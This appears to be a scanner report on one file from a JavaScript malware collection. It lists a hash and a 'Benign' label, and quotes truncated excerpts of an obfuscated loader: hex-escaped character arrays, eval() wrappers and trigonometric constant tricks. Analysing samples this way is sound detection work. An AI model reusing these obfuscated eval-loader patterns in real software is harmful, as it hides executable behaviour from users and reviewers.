Benign javascript-malware-collection Download

20151215_3a0a5776be5150f5345e8b2af6180095.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25609982085c678ad69e850348a2090a05c55b5360c920302d652dc51cff49f8ab3

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var B=new Array();
2a(B,"\x47");a(B,"\x50");a(B,"\x32");a(B,"\x38");a(B,"\x2d");a(B,"\x41");a(B,"\x22");a(B,"\x61");a(B,"\x77");a(B,"\x5e");a(B,"\x28");a(B,"\x68");a(B,"\x40");a(B,"\x49");a(B,"\x5b");a(B,"\x34");a(B,"\x62");a(B,"\x48");a(B,"\x2d");a(B,"\x51");a(B,"\x59");a(B,"\x2f");a(B,"\x3b");a(B,"\x46");a(B,"\x2a");a(B,"\x5f");a(B,"\x42");a(B,"\x46");a(B,"\x7a");a(B,"\x6f");a(B,"\x37");a(B,"\x57");a(B,"\x61");a(B,"\x79");a(B,"\x72");a(B,"\x24");a(B,"\x5d");a(B,"\x68");a(B,"\x40");a(B,"\x5f");a(B,"\x3d");a(B,"\x2a");a(B,"\x54");a(B,"\x2f");a(B,"\x48");a(B,"\x34");a(B,"\x33");a(B,"\x54");a(B,"\x45");a(B,"\x65");a(B,"\x4d");a(B,"\x6f");a(B,"\x47");a(B, …

Builds characters with String.fromCharCode line 4

4:248… 41],B[42],B[43],B[44],B[45],B[46],B[47],B[48],B[49],B[50],B[51],String.fromCharCode(10),B[52],B[53],B[54],B[55],B[56],B[57],B[58],B[59],B[60],B[61],B[62],B[63],B[64],B[65],String.fromCharCode(13),B[66],B[67],B[6 …

Calls JavaScript toString conversion method lines 6–8

6:35… MBwGtT,BtIcGLOv){aEyr=parseInt(ytXrTzwlCvG,dqpbOIIMBwGtT);VPliI=aEyr.toString(BtIcGLOv);return VPliI;}function mEZhaLaXCzNZlbM(txxVJcqRAUULFCCAW,BPfotLdKaFJhZPpcnQbTpPpUtNQcYkxOrm,vtGNURIrVbehMRziDxkxMxGASxpSptwGbbf){eval(txxVJcqRAUULFCCAW)}
7function mEZhaLaXCzNZlbM(txxVJcqRAUULFCCAW){eval(txxVJcqRAUULFCCAW)}
8function zTNjrTHXyGfOJouRDbeeCCZrKbcFyvyUpGrPnMTzrcIiF …

Calls JavaScript split() lines 9–11

9:155… cYEdBcchMzAteW);}
10function MKmBmRuUeHR(SmUbixLE,mphwjS){return SmUbixLE.split(mphwjS)}
11var A=[];A[0]=B[673];A[1]=B[674];A[2]=B[675];A[3]=B[676];A[4]=B[677];A[5]=B[678];A[6]=B[679];A[7]=B[680];A[8]=B[681];A[9]=B[682];A[10]=B[683];A[11]=B[684];A[12]=B[685];A[13]=B[686];A[14]=B[687];A[15]= …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,L];
14var lwwtnIrnK=[];
15function DeLaNfAOKwpKGGUUI(IQets){hqgkWWphERq= B[1775];for(hPKGQzIDjEz=Math.round((Math.pow(Math.sin(702), 2) + Math.pow(Math.cos(702), 2) - 1)); hPKGQzIDjEz < (1153+215)/684; hPKGQzIDjEz++) {lwwtnIrnK[hPKGQzIDjEz]=Math.round((Math.pow(Math.sin(359), 2) + Math.pow(Math.cos(359), 2) - 1)); while(true) { if(lwwtnIrnK[hPKGQzIDjEz] > IQets[hPKGQzIDjEz].length-(-627+934)/307) { break; } if (QLSeZkn(zBlpE(IQets[hPKGQzIDjEz][lwwtnIrnK[hPKGQzIDjEz]],(24945+ …